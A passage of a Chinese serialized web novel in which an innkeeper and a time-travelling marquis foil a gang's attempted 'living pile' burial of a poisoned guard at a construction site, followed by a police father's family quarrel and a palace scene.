“我去我是不是喝多了眼花了?刚才过去的那个不是裴先生吗?” “好像就是他……他,他又回来了?他啥时候回来的??” 还没等众人回过神来,二楼突然又“噔噔噔”跑下一个人来。 跑的比裴应见还要快,简直风驰电掣一般,飞一样地就追出门去了。 众人好一会儿才回过神来:“那……是掌柜的……吧?” 大家伙你看看我,我看看你,结合刚才一瞬间看到裴先生那不同寻常的脸色,还有掌柜的飞也似的追人的步伐。 他们断定,今晚一定又有大事发生了。 打探八卦是人类的天性! 但众人的好奇心一下子就被罗小胖给浇灭了:“别琢磨了,就他俩的速度,你们得开车才能追上。” 众人顿时丧气。 “哎哎,算了算了,吃吃吃,就当没看见!” …… 裴应见出了大门,直接施展了轻功,纵身跃上屋檐,沿着房顶,疾步朝前奔去。 他根本毫无方向目的,一心还在想着刚才的事情,等半晌回过神来的时候,才发觉面前漆黑一片。 仔细辨别之后,才反应过来,他好像来到了影视城的建筑工地。 影视城项目正在如火如荼地建设着,但秦绵绵干的规矩,晚上是不施工的,所以工地晚上除了留守保安的一盏孤灯之外,周围都是黑黢黢一片。 此刻借着灯光,能瞧见那保安正在岗亭里打着盹。 裴应见停住脚步。 实话实说,他此刻已经有些清醒过来了。 其实他本也没吃太多酒的,只是见了秦绵绵,被她几句话一激,酒气涌上来,突然人就醉了。 所以刚才才会…… 而这会儿这么一走,又被冷风一吹,他清醒过来,已经觉得后悔万分了。 裴应见皱起眉头,懊恼地揉了揉眉心。 他在原地来回踱步几趟,越想越是懊恼,恨不得此时就找个地缝钻进去。 “这回真是糟糕了,这要怎么回去见她……” 谁知下一秒,身后却突然传来秦绵绵略带埋怨的声音:“我这不是来见你了么。” 裴应见整个呼吸一窒,转身去看她,谁知下一瞬却又猛地回过头来,目光死死地盯向前方—— 第115章 打生桩 秦绵绵上前一步,来到他的身侧。 见他眉头紧锁,秦绵绵便将想把刚才的事情说清楚的想法按下,顺着他的目光抬眼看过去。 只见他目光所及之处,正落在不远处的保安岗亭上。 保安岗亭里一灯如豆,此刻却空无一人。 秦绵绵的眉头也忍不住紧缩起来:“你在看什么?” 裴应见转头看向她:“刚才那岗亭里有一个保安。” 秦绵绵:“但此刻保安却不见了踪影。” 从裴应见看见保安,到看见秦绵绵,再到保安消失,这个过程只不过十几秒钟而已。 短短十几秒钟,人竟然就不见了。 秦绵绵立刻道:“我们去看看。” “好。” 不等秦绵绵吩咐,裴应见一把挽住她的手臂,直接带着她向前飞掠而去。 保安岗亭设在工地的大门口。 两人还没来到大门前,就听到大门里传来一阵声响,很快又消失。 秦绵绵眉头紧锁——刚才那声响,好像是有人在挣扎。 她的影视城项目一直进展顺利,今天她刚从拍卖会拿下地块,晚上影视城项目就出了事,这难道是巧合吗? 楼盘项目进展不顺,好不容易有所突破,在这个节骨眼上,影视城绝对不能出事。 这么想着,秦绵绵拉着裴应见,直接从墙边翻了过去。 工地里混黑一片,安静得很,秦绵绵静下心,仔细辨别着细微的声响。 裴应见的耳目比她还要灵敏,两人几乎不费吹灰之力,就循着那细微的声音追了过去。 秦绵绵规划的影视城和其他影视城相比,并没有特别之处。 不过就是盖一些能供影视剧拍摄的各类风格建筑而已。 影视城里划分了好几个区域,有现代区、古代区,还有民国区。 那细微的声响正是从民国区传来的。 民国区的建筑进度比现代区和古代区都要慢一些,地基才刚刚完成一半。 两人循声追去,没走多久,原本黑暗的工地上,突然亮起一片灯光。 灯光下,有五六个黑色的人影正将另一个人影扔在地上。 秦绵绵和裴应见立刻停下脚步,只听见其中一个人压低声音笑道: “行了,直接扔下去,浇上水泥,就是一场生桩。” 另一个人啐了一声: “这破影视城又不住人,还用得着打生桩?那要换成早年间,这活要是给的少了,绝不给她干!” 黑暗中,秦绵绵和裴应见对视一眼。 他们竟然提到了打生桩。 裴应见不知道什么是打生桩,秦绵绵倒是有所耳闻。 打生桩是一种从老年间流传下来的封建迷信的邪术。 据说在建筑动工之前,将活人活埋在地基中,如同祭祀一般,不光能让建筑修建顺利,还可保之后住在此建筑中的人无难无灾。 秦绵绵没有想到,在这个年代竟然还有人妄图打生桩,而且地点就在自己项目的建筑工地里。 还没等她有所行动,就听见前面的人又道: “话说回来,咱也不是真的打生桩,这破影视城是绝对盖不起来的,怎么可能还保佑它!用不了多久,等保安的家人找来,发现人被埋在这地基里,我看这影视城还怎么干下去。” 秦绵绵心中顿时冷笑,原来是在这儿等着她呢。 下一秒,秦绵绵直接飞也似的扑了过去,两招就撂倒了两个大汉。 裴应见紧随其后,把剩下的几个人也制服了。 这时,他们看清所处的地方,眼前是一个很大的深坑,坑底下黑漆漆的,里面林立着刚刚浇筑完还没有干透的水泥。 而就在他们动手的这片刻间,那倒在坑边的保安竟突然向深坑中滑去—— “小心!”秦绵绵大喝一声,伸手去拉那保安。 却没能拉住。 裴应见见状,紧接着飞身扑下,他速度极快,堪堪在空中抓住了那正在下落的保安。 可他却也跟着落下! 秦绵绵急忙一个猛扑,一把抓向裴应见,却只抓住了他的一片衣角。 但好歹是止住了他的下落之势。 就这样,三个人一个抓着一个,倒悬在大坑的坑壁上。 裴应见紧紧抓着保安的脚踝,秦绵绵也同样单手死死抓住裴应见的衣角。 此时,秦绵绵大半个身子已经探了出去,只有小半个身子还趴在坑壁上,以现在这个情况,她绝无可能将两个人一起拉上来。 就在这千钧一发之际,她拉着裴应见的衣角却“呲”的一声裂开了。 随着衣角的裂开,裴应见的身体又一次向下坠去! “裴应见!”秦绵绵忍不住喊出了他的名字。 倒吊着的裴应见忽然回头看了她一眼。 只见秦绵绵脸上满是担忧,男人原本严肃冷峻的眉眼,竟如春水一般渐渐融化开来,露出一个温柔的笑意。 “莫急。” 他不知从哪里摸出一把匕首,用力扎在了坑壁上。 那匕首极其锋利,深深嵌入坑壁之中,给三人提供了有力的支撑。 接着,裴应见猛地一挥手,直接把保安甩了上去。 秦绵绵下意识地伸手去接保安,可保安实在太重了,她虽接住了保安,另一只手忍不住松了松。 而裴应见也因为这一甩之力,身子重重地向下坠去! 秦绵绵猛地瞪大双眼。 电光火石之间,她甚至根本来不及思考,便径直朝着下方的裴应见扑了下去。 然而她却再没能抓住裴应见,整个人更因为这奋力一扑,直接飞出坑壁,跟着裴应见直直向下坠落。 “绵绵!”裴应见低喝一声。 下一瞬,只见他手中的匕首再次猛地插入坑壁,下落的势头顿时止住。 紧接着,他另一只手迅速伸出,一把将下落经过他身侧的秦绵绵搂在了怀里。 而后,他双脚用力向岩壁一蹬,匕首猛地拔出,借着这股反作用力,两人竟直直向上飞去。 秦绵绵心中说不惊讶是假的。 她从未想到裴应见的身手竟然如此出色。 仅仅一秒的时间,裴应见就带着她飞了上来,两人稳稳地落在了深坑之外。 秦绵绵定了定神,才发现自己还紧紧地靠在裴应见怀里。 她抬头看向他,而他也正低头看着她。 两人的脸上都同时浮现出尴尬的红晕,连忙松开彼此。 秦绵绵转头去检查那保安,保安虽然并没有坠入水泥之中真的被打了生桩,此刻却脸色苍白,昏迷不醒。 秦绵绵连忙给他把脉: “……他中毒了。” 第116章 古代带来的帮手 裴应见脸色一沉。 情况非常不妙。 景区远离市区,最近的医院离这里也有十公里,要是打120等救护车来,只怕这工人扛不住。 不等他说话,却见秦绵绵忽然从身上摸出一个布包,打开一看,那里面竟然是一排细细的银针。 裴应见略一挑眉:“你随身带着银针?” 秦绵绵点点头:“略懂。” 裴应见忍不住摇头一笑。 秦绵绵把手机扔给裴应见,让他报警并且打120。她自己则手起针落,动作极快,就在工人身上施针起来。 不出一分钟,就见本来呼吸已经极其微弱的工人一下子猛地喘了口气,呼吸恢复了。 裴应见忍不住松了口气。 秦绵绵却依旧眉头紧锁:“还没救过来。” 果然,就在她观察工人的这两分钟之内,本来已经呼吸顺畅的工人却突然又脸色苍白起来,突出一口气之后,呼吸突然骤停,竟再没有吸进去的气了。 秦绵绵当机立断,直接趴上去,开始给工人做人工呼吸。 一旁的裴应见身子一僵:“你——” 但后面的话很快又被他吞进嘴里。 此刻是生死攸关的时候,就先别计较这些细节了吧。 但裴应见的眉头却还是皱得能夹死一只苍蝇。 秦绵绵恍若未闻,专心地进行着人工呼吸。吹几次气,然后进行胸外按压,如此循环往复。 众所周知,胸外按压其实是个力气活,练家子如秦绵绵,也就在几次循环之后就气喘吁吁起来。 裴应见立时上前,让她把要领教给他。 不到几秒钟的时间,他就有模有样地学起她的动作,接替她做起了胸外按压——当然人工呼吸也替代了他。 然而,几轮下来,仍然于事无补。 眼看工人的脸色愈发苍白如纸,呼吸更是完全没有,秦绵绵伸手搭上他的脉搏——还是没有恢复心跳。 这样下去,在救护车来之前,工人就要丢掉性命了。 秦绵绵脸色黑如锅底。 气不过的她,转过身去,径直在周围那几个大汉身上猛踹了几脚。 他们可恨,幕后之人更可恨。 就一定要让这个无辜的人,今天晚上死在她的工地上是吧? 秦绵绵气得冒火,就在这个时候,却忽然有一只大手温柔地将她颤抖的手握住。 “莫急,我还有一个办法。” 那大汉里面,有人受伤比较轻,还能说话。 听到这话,大笑起来: “你们能有个屁办法!兄弟们干这事,这么多年还从来没失手过!告诉你们,今天晚上这个保安死定了,你们这事也肯定摊上了,想跑也跑不了!至于惹了什么人,你们到时候进了大牢,慢慢琢磨去吧!” 秦绵绵冷笑:“是什么人,我心里清楚得很。警察就快来了,先进大牢的,只怕是你们。” 大汉愈发张狂:“老子上面有人!兄弟们这么多年,敢干这一行,凭的是什么?你也不动脑子想想!再说了,雇主上面也有人!一定会捞我们出来的,警察?警察算哪根葱!” 秦绵绵眼睛一眯:“是吗?我要是雇主,就先灭了你们的口。” 大汉阴测测笑:“兄弟们都留着证据呢,她敢!” 秦绵绵已经失去了耐心。 只见她忽然抬脚,径直朝那大汉的下巴踹去,只听“咔嚓”一声脆响,大汉的整个下颌骨竟然就让她踹碎了。 好好一个大汉,竟痛得连喊都喊不出声,只能满头冷汗抱着脑袋在地上打滚。剩下的大汉见状,再也没人敢直视秦绵绵,纷纷缩成一团装鹌鹑。 秦绵绵从兜里掏出手机:“雇主可以惯着你们,我可不惯着。团伙长年作案是吧?很好,都已经录音了。” 这么一闹,时间又过去了几分钟,那工人的状况已经更加不好了。但众人似乎谁也没发现,一旁的裴应见不知道什么时候突然消失不见了。 而下一秒,裴应见却又忽然出现在了秦绵绵身边,他的手上还推着一个轮椅,轮椅上面还坐着另外一个男人。 男人脸色也很苍白,一双眼睛十分无神。秦绵绵仔细一看,这男人竟然是一个盲人。 “这是……裴应见这厮,跑去哪里拉了一个盲人来?”秦绵绵心中疑惑。 裴应见却并不答话,径直将那白衣男子拉下了轮椅,在工人身边蹲下。男人摸索着把手搭上工人的脉搏上,只一下,就立刻判断出来他是中了毒。 男人伸手从怀里掏出一个瓶子,倒出一粒药丸,直接塞进工人嘴里。 三人紧张地等待着。周围偷看的大汉也心情紧张地等待着。直觉告诉他们,今天晚上他们遇见的这些人,不是凡人!说不定今晚,他们就会栽在这些人手里! 一秒、两秒、三秒……时间一分一秒过去……奇迹出现了!那工人竟然猛地吸了一口气,接着大口呼吸起来。他的心跳也恢复了,就连苍白的脸色也迅速恢复了红润。 秦绵绵大吃一惊,半晌,才伸手给那男子竖起大拇指。但只可惜,男子完全看不见。 听到人已经回转,男子也慢慢舒了口气,露出一个如春风般和煦的笑容。他转头对裴应见道:“好了,可以把我送回去了吧?真是的,人家都已经就寝了。” 裴应见摇头失笑,跟秦绵绵打了声招呼,推着男子就走。直推到无人处,他们才消失不见。 而这一边,远远的,警笛声传来。很快,警察和救护车一前一后来到了现场,同时来的还有客栈众人。当先的便是罗小胖。 罗小胖冲到秦绵绵面前,先上下检查了一下秦绵绵有没有事。看她没事,才忍不住埋怨道:“怎么回事?跟裴先生一起出去,还能遇到事情?对了,裴先生呢?” 秦绵绵没回答,只把事情简要说了。得知这保安竟然是被人打了生桩,罗小胖一下子脸色严肃起来。 医生和护士正要把保安抬上救护车,罗小胖一步窜上去,将人拦了下来。他观察了一遍,突然一伸手,从保安的衣服里面摸出了一个东西。 秦绵绵上前一瞧,猛地一震:“这是……符咒?” 第117章 爸你怎么来了 裴应见闻声也走过来看。 只见罗小胖从保安怀里摸出一个形状奇形怪状的纸包,打开一看,里面有一张黄符纸,纸上用朱砂笔龙飞凤舞地画了一个很复杂的符咒。 几人看那笔画走向,顿时就感觉这不是个好东西。 秦绵绵对这方面略有研究,真正保佑人平安的符咒可不像这样画得诡异。 “这玩意儿是那些人给他放进去的?”秦绵绵沉声问。 罗小胖点点头。 他似乎非常笃定。 不知为何,就像刚才他能断定保安怀里有这符咒一样。 裴应见瞥了罗小胖一眼,没说话。 罗小胖转头把符咒当证物交给警察。 做完现场笔录,警车和120车开走了。 工地恢复安静。 一行人回到客栈,秦绵绵先给影视城项目负责人打电话。 虽然负责人是叶子舟同学,秦绵绵也没客气,把事情原原本本说了。 对面立刻诚惶诚恐,立刻连夜带着新安保团队赶来,即日起给影视城项目安保升级。 客栈众人也十分后怕,差一点影视城项目就完了。 打生桩如果真的成功了,被捅出去之后,不光影视城,整个景区和他们的客栈都得完蛋。 这都怪负责人安保措施太马虎。 但秦绵绵没多责怪什么,负责人年轻没经验,不知这里面水很深,只要起了坏心思,要害你的人会无所不用其极。 而且,他但凡想害你,安保再严密他们也是能找到下手之处的,何况那人还是有权有钱的贾芊芊。 安顿好负责人住下,其他人各自回房睡觉。 秦绵绵带着裴应见上了二楼。 裴应见房间在秦绵绵隔壁。 上次裴应见带着几箱宝贝过来,箱子里钻出个女子那回,他住的也是这个房间。 照理,这是离秦绵绵最近的房间,近水楼台先得月,可惜上次麻烦太大,他没心情。 但这次,他心情不错。 秦绵绵开房门准备进屋去,忽然就被男人伸手堵住。 裴应见一个转身,直接把自己的身体堵在门口,把秦绵绵挡在了外面。 秦绵绵不恼,也不问,只似笑非笑抬头看他。 “怎么,酒醒了?” 裴应见弯唇一笑,“差点掉下坑里的时候就醒了。” 顿了顿,忽然凑近,“你呢?” 秦绵绵瞥他一眼,“我根本就没醉。” 裴应见拉长声音:“哦……好,知道了。” 秦绵绵撇嘴,“还有别的话吗?没有我要睡觉了,麻烦大侯爷您让开。” 裴应见却把手更紧了些。 “有,怎么没有。出去之前咱俩的话,好像还没说完呢。” 秦绵绵一乐,“这话说的。是你不肯说了,扭头就跑,怎么这会儿又说没说完了呢?” 男人眼神一暗,忽然欺身过来,高大身影笼罩着她。 “所以,秦掌柜你,到底打不打算给本侯一个说法……” 秦绵绵被压得往后退了一步。 两人四目相对,男人眼里情绪精彩纷呈,而秦绵绵脸上和眼里却是一片古井无波。 沉默片刻,她突然岔开话题:“明早想吃什么早点,我亲自下厨给你做。” 男人顿时急了:“秦绵绵!” 秦绵绵“哎”了一声,突然缩身,一下就溜出男人双臂包围圈。 男人反应过来,立刻转身还要捉她,却冷不防被她突然欺身而上。 只见秦绵绵伸出双手,忽然捧住他的脸,凑过来,直接就在脸颊上狠狠地“吧唧”一口。 裴应见登时愣在原地。 还没等他反应,却听秦绵绵道:“今晚表现不错,奖励你的。” 说完,立刻把他往房间方向推了一把,然后自己溜进房间,“砰”地一声关上了门。 裴应见:“……” 他后知后觉地摸了摸脸颊上被亲吻的地方。 这奖励也太……吝啬了吧。 …… 晚上叶子舟值夜,叶子雯怕有人找茬,主动陪他,叶子舟不愿意,姚祁见状直接提出替他的班。 早晨五点左右,姚祁正睡的迷迷糊糊,客栈大门突然被敲响。 姚祁睡眼惺忪去开门,猛见门外站着一个彪形大汉。 大汉一双利目炯炯有神,身材魁梧异常,浑身上下带着一股常年刀头舔血的凌厉气势,让任何人瞧一眼都是心头一颤。 姚祁也是心头一颤。 下一秒,他“砰”地一声就又把大门关上了。 “我们还没上班呢!” 说着就掏出手机群发语音电话:“又有人来砸场子了!快起床!” 门外大汉却又砰砰砰敲门,力道之大,差点把抵着门的姚祁弹飞出去。 姚祁脸色惨白:“大清早的就来找茬是吧!再敲我报警了!!” 大汉声音低沉有力:“我不住店,有事找你们老板。” “我们老板不在!” “找你们厨师也行。” “厨子被老板开了!” 门外大汉顿了顿,随后一声冷笑:“昨晚出警的时候还在,没到早晨就开了?” 姚祁说不出话了。 然而就在他一愣神的功夫,门外大汉突然用力一推,大门猛地被推开。 姚祁身形不稳,被大门撞得直接往前冲出去好几米。 大汉大步走进来。 走到大堂中间,将客栈上上下下打量一番,脸上露出不悦的神情。 接着,他径直往当中大桌主位上一坐,看都不看姚祁一眼: “叫人去。” 这时客栈众人都接到语音电话,纷纷穿衣奔出来。 秦绵绵本来冲在最前面,但裴应见比她更快,直接从楼梯上跃下来,挡在她身前。 和裴应见四目相对一瞬,大汉露出一丝欣赏的表情。 “没想到这小小客栈里,还有高手。” 秦绵绵绕开裴应见走出来:“先生是住店还是吃饭?小店还没开始营业,只怕要多等一会儿。” 大汉又用锐利的目光上下把她打量一遍。 秦绵绵也警惕地回视他。 半晌,大汉道:“你就是秦老板?昨天晚上受害人差点死了,是你救下的?” 秦绵绵看看裴应见:“是这位先生。” 大汉点点头:“那你们俩都跟我走一趟吧。” 姚祁叫起来:“谁啊你,上来就要带人走!” 朱七妹也冲上前,做出攻击姿态。 大汉却冷冷一笑,仿佛完全没看在眼里。 谁知就在这时,最后到来的罗小胖突然挤到前面,语气古怪地开口: “……爸,你怎么来了。” 第118章 刑侦一把手 “爸?!” 七八个人面面相觑,仿佛根本没听明白罗小胖这声喊的意思。 谁能想到,这么一个不怒自威、凶戾异常的中年汉子,竟然是平常总是笑眯眯、最爱插科打诨的罗小胖的……父亲。 罗小胖尴尬一笑,跟大家介绍:“诸位,不好意思……这是,我的父亲。” 大伙儿反应过来,连忙纷纷问好。 对面罗父却仍是一派冷淡态度,只把目光落在秦绵绵和裴应见身上。 看着这锐利如鹰的目光,大伙儿纷纷咋舌,在心中暗暗惊诧:罗小胖的父亲,好像不是个普通人吧。 不过,所有人里面,只有秦绵绵是最不震惊的。 只因她早就知道罗小胖的父亲是谁。 这个人如果是罗小胖的父亲的话,这样的风姿,那倒是名不虚传。 毕竟也是上了百度百科的人物。 裴应见凑过来,低声说道:“看来罗父不是普通人物。” 秦绵绵低声跟他解释了一下:“他父亲名叫罗正松,是省公安厅管刑侦的一把手。” 裴应见理解得很快:“就是州府府衙的总捕头?” 秦绵绵悄悄竖起一根大拇指。 裴应见略略一皱眉。 如果是这种职位的话,那管的一定都是骇人听闻的大案。昨晚上那个杀人未遂的案子,竟然能惊动他? 罗小胖又把客栈众人介绍了一下,罗父态度仍旧非常冷淡。 秦绵绵推了罗小胖一把:“伯父来了,还不赶快去烧点热水,做点吃的。这一大早的。” 罗小胖忙应了一声,神色古怪地往厨房走去。 谁知罗父却脸色一沉,望向厨房的方向,脸色颇为不悦:“我来是有公务在身的,你们都跟我走一趟。” 他指了指罗小胖,又指了指秦绵绵和裴应见。 说完,也不理会他们作何反应,转身就往大门外走,仿佛笃定这几个年轻人不可能不听他的话。 秦绵绵裴应见对视一眼,都看向罗小胖。 罗小胖脸色颇为颓败,低声说道:“昨晚那案子恐怕没那么简单,咱们还是走一趟吧。” …… 几人直接被罗正松带到了市警察局。 原来这案子大到昨晚出警的派出所根本处理不了,直接上报了市局,市局又连夜上报了省局,这才惊动了罗正松亲自赶来。 秦绵绵等人又被仔细问询了一遍,这才知道,原来这竟然不是一个单独的案子。 因为那个符咒,被经验丰富的罗正松认出,这个案子竟然跟20年前的几桩“打生桩”的大案子有关联。 “但这些人年纪并不大,20年前,他们……”秦绵绵有些疑虑。 罗正松冷冷回答:“他们是第三代团伙。” 秦绵绵不免咋舌。 也就是说,这伙人不光是团伙作案,而且还是有代际传承的。 不光下手狠辣,还会给受害人下毒,甚至画符咒诅咒受害人。 从迷信的角度上来讲,就是以符咒镇压受害人的魂魄,使其死后不能因为是冤死而兴风作浪。 简直不是一般的恶毒。 说到这里,罗正松突然盯住秦绵绵的眼睛: “局医院传来的消息,受害人所中的毒十分霸道,通常中毒之后不到十分钟就会发作,且没有什么特效药。按照时间推算,你们赶到那里救下他时,他就已经发病了,但他竟然奇迹般地捡回了一条命。这其中……是有谁出手救人了吗?据我所了解,秦小姐似乎懂一些医术。” 秦绵绵立刻否认:“救人的不是我,是我的朋友,那位裴先生,他懂得怎么解毒。” 罗正松的脸色一暗。 他先询问了裴应见才过来找秦绵绵的。 秦绵绵不知道的是,询问裴应见的过程十分不顺利。 这人单单不配合倒还没什么,但他浑身上下的那种气质,就让人十分难受。 面对他的时候,罗正松一度有一种错觉,那就是眼前这个年轻人不像是证人,更像是他的上司。 要知道做到他这个位置,他的上司那可都不是一般人。 这姓裴的年纪轻轻,怎么会有如此气度? 他到底是什么来路? 相比较来说,秦绵绵这边就配合多了。 也许是看在罗小胖的面子上,她对罗正松的态度还是十分敬重的。 但问询完毕之后,罗正松却并没有马上放她回去,而是让她继续多留一下,说也许案子还会有新的进展,随时需要她配合。 秦绵绵顿时警醒起来。 罗父这是做什么? 但没来得及问,罗正松就已经一脸晦暗地出去了。 罗小胖和裴应见已经被放了出来,两人讨论了一下案情。 罗小胖比较乐观。 得知这是一个贯穿20多年的连环大案,他就觉得这把稳了。 只要能破了这个案子,抓出幕后黑手,贾家肯定无所遁形。 到时候贾家遭遇了重创,那贾芊芊就没什么能耐再来找秦绵绵麻烦了。 “怎么这么久了,还不出来。”裴应见面无表情,突然问。 “快该出来了。”罗小胖说着,却见罗正松快步走来,也不理裴应见,径直把罗小胖一个人带到了一个没人的会议室里。 会议室又大又空旷,罗正松关上门,罗小胖下意识地往后退了几步,跟他拉远了距离。 “爸……有什么话问我吗?我知道的都已经说了……”罗小胖话没说完,罗正松忽然飞起一脚,径直踹在了罗小胖的腿上。 力道之大,罗小胖一个不稳,竟然直接摔倒在地。 罗小胖却好像一点也不惊讶于罗正松的突然发难,他一个咕噜爬起来,迅速躲到了几米开外。 罗正松见状,更是怒不可遏: “你长大了,翅膀硬了!一个人离家出走跑到这鸟不拉屎的地方不说,还混成这个样子!你看看你都做些什么?卖假古董,在小旅馆里干厨子!你,你简直把我们罗家警察世家的脸都丢尽了!我们罗家怎么会有你这样的不肖子孙!” 罗正松越说越生气,赶上来就要再踹他,罗小胖却展示了小胖子的灵活性,一个闪身又躲得远了些。 他瞪着眼睛高声纠正道:“我可没卖假古董,看走眼的那不算!古董这一行,讲究的就是一个愿打一个愿挨,你什么都不懂!还有,我们那是客栈,不是小旅馆!” 罗正松气急败坏:“你越来越能耐了,还敢跟我顶嘴!你看看你交往的这些不三不四的人!” 罗小胖一听,更不服气了:“我们客栈的人,个个都大有来头!”然后就开始一一跟罗正松掰扯起来。 第119章 逼他就范 “叶子舟是学霸!他妹妹叶子雯是小学霸!当然现在生病了,暂时休学了!” “朱七妹是武林高手,她儿子是小武林高手!” “姚祁是富三代!而且长得不输明星!” “裴先生就更不用说了,他上知天文下知地理,不光是武林高手,而且还长得不输明星!” “至于我们掌柜的,那可是集万千本事于一身了,她……” 眼看罗小胖就要针对秦绵绵的本事开展长篇大论,罗正松气急败坏地一拍桌子: “够了!” “这些算是什么?有本事,有本事就应该去做一些有意义的事。一群人窝在一个小小客栈里面像什么话!” “国家培养你们,不是让你们开个客栈玩玩,整天自娱自乐的!” 罗小胖十分不认同,“开客栈怎么了,开客栈就不是为人民服务了吗?青塔湖景区这么美的一个地方,你看看之前经营成什么样子了!” “要不是我们掌柜的,要不是我们这群人,景区能有今天吗?往小了说,我们让景区起死回生了,往大了说,我们也是为本地的百姓服务,让大家有个休闲娱乐的好去处!” “我们怎么就不是为人民服务了?” “难道为人民服务还有高低贵贱之分吗?你一个省厅一把手是为人民服务,我们这些底层服务业从业者,难道就低人一等吗?” 罗小胖说到激动的地方,还学罗正松的样子,砰砰砰地拍起了桌子。 罗正松竟然一时被他呛得愣在原地。 半晌,他才回过神来,恶狠狠地一拧眉:“不管你怎么狡辩,这回让我抓住了你,你就别想再跑了!” “老老实实跟我回去,我给你安排工作,你从基层做起。咱们家的刑侦工作,不能在你这一代断下去!” 罗小胖狠狠一咬牙,“我不回去!我要是肯跟你一样去搞刑侦,当初我就不会从家里跑出来了。” 天知道罗小胖为了躲他爸,这些年跑了多少个地方,好不容易在海城安顿了下来,罗父也似乎对他失望,也不再找他了,没想到又发生了这样的事。 “公安系统里面为人民服务的人才那么多,不缺我一个,但是我们客栈,却只有我这一个厨子!” 罗正松被气得两颊腮帮子的肉都抖动着,“好,你还是这么冥顽不灵是吧,这回我一定让你低头!” 说罢,直接用力摔门而去。 裴应见在门外等着罗小胖,见父子俩一前一后都怒气冲冲地走出来,不由皱起了眉头。 看来这父子两人的关系势同水火,那今天这个案子,不知道是不是还有什么变数。 但他只深深看了一眼罗小胖,什么都没问。 罗小胖却有点不好意思,张张嘴想跟裴应见解释些什么。 谁知道办公室那边忽然走过来一个警员,对两人下达通知。 说他们两个人已经没事了,随时可以离开警局,但是秦绵绵却因为涉嫌故意伤人,有可能要被拘留。 罗小胖顿时跳脚。 裴应见也冷了脸,“打人的事跟她没关系,都是我一个人!” 警员却很无奈,表示这是上头的决定,不是他们可以左右的。 他们如果有什么意见,可以去申诉,但现在的情况,还是尽快走人的好。 话里话外都在暗示他们,如果现在不走,有可能要把他们俩也一起扣下来,那可就更不妙了。 裴应见反应很快,见此状况,直接就拉着罗小胖走出了市局。 罗小胖很是丧气。 他自然知道今天的事情都是因他而起。 罗正松的目的很明确,就是为了逼他回去。 为了逼他就范,他干脆直接用秦绵绵做要挟。 裴应见又何尝不明白,便让罗小胖先开车回去。 回到客栈,客栈里人多,又有姚祁这样的能人,说不定会有什么办法。 罗小胖忍不住自嘲一笑:“姚祁这家伙,也成了能人了?” 于是两人上了车。 罗小胖一心回去,车子开得飞快,却没注意到副驾驶的裴应见脸色突然变得有些难看。 等进了景区下了车,裴应见再一次露出那种奇怪的表情,罗小胖终于注意到了。 “怎么,你晕车了?” 裴应见却摆摆手,然而他却脸色苍白,脸上还带着一丝奇怪的恍惚。 罗小胖仔细一看,只见裴应见双目无神,似乎连瞳孔都难以聚焦了,整个人似乎正在忍受莫大的痛苦。 “到底怎么了?你可别吓唬我!掌柜的让人扣下了,客栈就数你主意最多,你可不能有事!” 谁知裴应见听了这话,却猛地转头看向他,忽然硬声道: “我走之后,客栈就全靠你照顾了。不管用什么人脉,尽快把绵绵捞出来,必要的时候可以动用……” 谁知话还没说完,裴应见突然猛地瞪大眼睛。 罗小胖吓了一跳,赶忙上前想去扶他,却在双手还没碰触到他的下一刻,猛地缩回了手! 因为裴应见他……竟然在他的眼前,消失了! 罗小胖愣愣地看着自己的手,不可置信地在虚空中抹了两把。 但眼前空空荡荡的,只有空气! 可是刚刚,就在一秒钟之前,这里明明还站着一个大活人,还在跟他说话! 裴应见他竟然,就这么消失不见了! 在光天化日,明晃晃的大太阳下面!! 罗小胖整个人都不好了。 他瞪大眼睛,僵在原地,片刻间,只觉得一阵细细密密的冰凉感,直接从脚底爬上脊背,窜上天灵盖,直到他牙齿都开始咯咯打颤。 他努力咬住打颤的牙齿,定了定心神,扭头就跑! 太诡异了! 他要赶快回去寻求帮助! 罗小胖飞也似的奔回客栈。 众人见他脸色苍白地冲进来,且只有他一个人,都吓了一大跳,纷纷询问到底发生了什么。 罗小胖咬咬牙,刚想把裴应见光天化日消失的事情说出来,嘴巴却忽然卡住了。 他突然想到,这个姓裴的,自从出现在客栈开始,就一直是来无影去无踪的。 他从没看见过他到底是怎么来的,也没看见过他到底是怎么离开的。 可是对于他这样的行径,掌柜的却从来没说过什么。 难道…… 罗小胖猛地一抬头,回应众人道:“没事,就是掌柜的……和裴先生,被警局扣下了。” 第120章 阿月 京城,雨夜。 远处,皇城的宫殿重重叠叠,影影绰绰,矗立在冷冷密密的雨幕里,仿佛一只蛰伏于黑夜中的巨兽,只让人看到一片模模糊糊却压抑万分的残影。 天街上空无一人。 幽长而死寂的街道仿佛一道黑色的舌头,欲将这世间一切,都卷入到尽头那巨兽的口中。 三更的梆子响过,街上却突然出现了一个红色的人影。 人影很瘦,非常瘦。 瘦得好像一把没有刀鞘的利刃。 瘦得让人怀疑他是否会被风一吹就倒。 但他行动的速度却非常快,只不过一眨眼的功夫,就已经从长街这一头,来到宫门前。 他如果真的是一把利刃,此刻宫门前的几个守卫就都已经没有命了。 红色的人影站定,头上的斗笠却压得更深,宫门前的守卫全然看不到一丝他的容貌。下一瞬,他却忽然从身上摸出一个令牌。 那持着令牌的手,纤长白皙,即便在黑夜里也莹润如好玉。 这是一双绝美的、只有女子才能拥有的手。 原来这鬼魅一般的人,竟然是个女子。 守卫看了令牌,又看了这手,顿时猜到了她的身份,急忙毕恭毕敬地放她进去。 女子的身影就这样穿过重重雨幕,重重宫门,带着一身的冷冽杀气,直奔皇宫深处一处偏殿。 偏殿外静得落针可闻,屋里却是燃着灯烛的。 皇帝已略有些老态却不乏威严,寂静的大殿里,只听得到他来回踱步的声音。 “圣上,三更了,月姑娘还不知道什么时候来,圣上不如先就寝……”一旁的随侍太监忍不住劝道。 皇帝仍然停不下脚步,走过一圈,又去看榻上躺着的人。 榻上那人衣着光鲜,身形却消瘦如骨,瞪着一双凸出来的眼睛,直愣愣地盯着头顶,嘴角还不时地流出不可名状的液体,俨然一副病入膏肓的样子。 但这人其实还很年轻。 他正是前些日子以视察名义去了一趟燕州的三皇子——周戟。 皇帝本来是为了锻炼他,特意给了他一个完全没有难度的差事。 但谁知道他却在路上遇到流寇,还不知道究竟什么缘故,突然发作了怪病,变成了如今这副鬼样子。 皇帝望着周戟,想起了他刚回京时的情形。 周戟出京的时候,带了足足二百人马,可回来的时候却只有他一个人。 是的,一个人,还半死不活地趴在马上。 要不是城门的士兵认得他的腰牌,只怕他的小命直接就交代在了京城城门外。 周戟被紧急送进皇宫,皇帝见状,少不得也吓了一跳,连忙召集太医会诊。可太医院里十几个太医,竟然无一人能诊治出周戟这到底是怎么了。 